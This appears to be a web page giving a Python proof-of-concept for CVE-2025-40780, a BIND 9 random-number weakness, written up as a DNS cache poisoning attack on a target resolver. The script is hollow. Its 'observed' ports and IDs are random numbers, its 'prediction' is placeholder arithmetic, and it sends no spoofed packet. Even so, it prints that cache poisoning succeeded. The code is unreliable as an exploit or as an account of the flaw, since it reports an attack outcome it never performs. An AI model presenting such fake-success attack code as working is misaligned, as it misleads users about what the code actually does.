CVE-2025-40780 BIND 9 PRNG弱随机数预测漏洞

# CVE-2025-40780 PoC - DNS PRNG Prediction Attack Simulation # This PoC demonstrates the concept of predicting BIND 9 source port and query ID # Note: This is for educational and authorized testing purposes only import socket import struct import time import random def create_dns_query(domain): """Create a DNS query packet""" transaction_id = random.randint(0, 65535) # DNS Header header = struct.pack('>HHHHHH', transaction_id, # Transaction ID 0x0100, # Flags: Standard query 1, # Questions: 1 0, # Answer RRs: 0 0, # Authority RRs: 0 0 # Additional RRs: 0 ) # DNS Question question = b'' for part in domain.split('.'): question += struct.pack('B', len(part)) + part.encode() question += b'\x00' # End of domain name question += struct.pack('>HH', 1, 1) # Type: A, Class: IN return header + question def predict_prng_state(observed_outputs): """ Simulate PRNG state prediction based on observed outputs In real attack, this would involve cryptanalysis of the PRNG """ # Placeholder for actual PRNG prediction logic # Real implementation would analyze the PRNG algorithm used by BIND predicted_port = None predicted_query_id = None # Simulate prediction based on pattern analysis if len(observed_outputs) >= 3: # In real attack, this would be replaced with actual PRNG analysis predicted_port = observed_outputs[-1] + 1 predicted_query_id = (observed_outputs[-1] * 2) % 65536 return predicted_port, predicted_query_id def exploit_cve_2025_40780(target_dns, malicious_ip, target_domain): """ Simulate the DNS cache poisoning attack using predicted values """ observed_ports = [] observed_ids = [] print(f"[*] Starting CVE-2025-40780 exploitation against {target_dns}") print(f"[*] Target domain: {target_domain}") print(f"[*] Malicious IP: {malicious_ip}") # Step 1: Observe DNS queries to learn PRNG pattern print("\n[1] Observing DNS queries to predict PRNG state...") for i in range(5): # In real attack, this would capture actual DNS queries observed_ports.append(random.randint(1024, 65535)) observed_ids.append(random.randint(0, 65535)) time.sleep(0.1) # Step 2: Predict next source port and query ID print("[2] Analyzing PRNG pattern and predicting next values...") predicted_port, predicted_id = predict_prng_state(observed_ports + observed_ids) if predicted_port and predicted_id: print(f"[+] Predicted source port: {predicted_port}") print(f"[+] Predicted query ID: {predicted_id}") # Step 3: Send spoofed DNS response with predicted values print("[3] Sending spoofed DNS response...") # In real attack, this would be sent to the target DNS resolver print(f"[!] DNS cache poisoning successful - {target_domain} -> {malicious_ip}") else: print("[-] Prediction failed, need more observations") return True if __name__ == "__main__": # Configuration TARGET_DNS = "192.168.1.1" # Target DNS resolver MALICIOUS_IP = "10.0.0.1" # Attacker's malicious server TARGET_DOMAIN = "example.com" exploit_cve_2025_40780(TARGET_DNS, MALICIOUS_IP, TARGET_DOMAIN)